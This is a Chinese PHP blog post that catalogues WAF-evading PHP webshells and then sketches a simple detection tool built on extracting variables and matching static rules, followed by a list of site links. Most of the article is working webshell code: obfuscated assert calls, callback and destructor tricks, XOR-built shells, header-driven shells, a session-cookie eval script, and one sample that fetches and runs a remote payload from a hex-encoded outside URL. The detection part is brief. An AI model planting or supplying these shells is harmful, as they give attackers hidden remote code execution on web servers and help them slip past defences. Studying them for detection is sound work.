PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
测试您的 PHP 水平的题目
May 30 PHP
一篇有意思的技术文章php介绍篇
Oct 26 PHP
基于flush()不能按顺序输出时的解决办法
Jun 29 PHP
PHP中time(),date(),mktime()区别介绍
Sep 28 PHP
PHP提交表单失败后如何保留已经填写的信息
Jun 20 PHP
ThinkPHP标签制作教程
Jul 10 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 PHP
ThinkPHP设置禁止百度等搜索引擎转码(简单实用)
Feb 15 PHP
Yii2数据库操作常用方法小结
May 04 PHP
yii框架使用分页的方法分析
Jul 25 PHP
Laravel 添加多语言提示信息的方法
Sep 29 PHP
Thinkphp框架使用list_to_tree 实现无限级分类列出所有节点示例
Apr 04 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
PHP使用数组实现队列
2012/02/05 PHP
php实现批量压缩图片文件大小的脚本
2014/07/04 PHP
php可应用于面包屑导航的迭代寻找家谱树实现方法
2015/02/02 PHP
linux下php上传文件注意事项
2016/06/11 PHP
PHP实现APP微信支付的实例讲解
2018/02/10 PHP
PHP Laravel中的Trait使用方法
2019/01/20 PHP
prototype 的说明 js类
2006/09/07 Javascript
动态添加js事件实现代码
2009/03/12 Javascript
jqGrid jQuery 表格插件测试代码
2011/08/23 Javascript
Javascript继承(上)——对象构建介绍
2012/11/08 Javascript
jQuery学习笔记之总体架构
2014/06/03 Javascript
JS实现图片放大镜效果的方法
2015/02/27 Javascript
js右下角弹出提示框示例代码
2016/01/12 Javascript
三分钟带你玩转jQuery.noConflict()
2016/02/15 Javascript
浅谈JS中的常用选择器及属性、方法的调用
2017/07/28 Javascript
AngularJs 最新验证手机号码的实例,成功测试通过
2017/11/26 Javascript
Element-ui tree组件自定义节点使用方法代码详解
2018/09/17 Javascript
vue全局使用axios的方法实例详解
2018/11/22 Javascript
vue鼠标悬停事件实例详解
2019/04/01 Javascript
vue集成chart.js的实现方法
2019/08/20 Javascript
python 实现插入排序算法
2012/06/05 Python
Python实现Youku视频批量下载功能
2017/03/14 Python
树莓派用python中的OpenCV输出USB摄像头画面
2019/06/22 Python
Python代码实现http/https代理服务器的脚本
2019/08/12 Python
django实现用户注册实例讲解
2019/10/30 Python
django 扩展user用户字段inlines方式
2020/03/30 Python
让IE下支持Html5的placeholder属性的插件
2014/09/02 HTML / CSS
linux面试题参考答案(10)
2016/10/26 面试题
《姥姥的剪纸》教学反思
2014/02/25 职场文书
社区母亲节活动记录
2014/03/06 职场文书
装修活动策划方案
2014/08/27 职场文书
司机工作自我鉴定
2014/09/19 职场文书
乡镇党的群众路线教育实践活动剖析材料
2014/10/09 职场文书
领导干部作风建设总结
2014/10/23 职场文书
赢在执行观后感
2015/06/16 职场文书
剖析后OpLog订阅MongoDB的数据变更就没那么难了
2022/02/24 MongoDB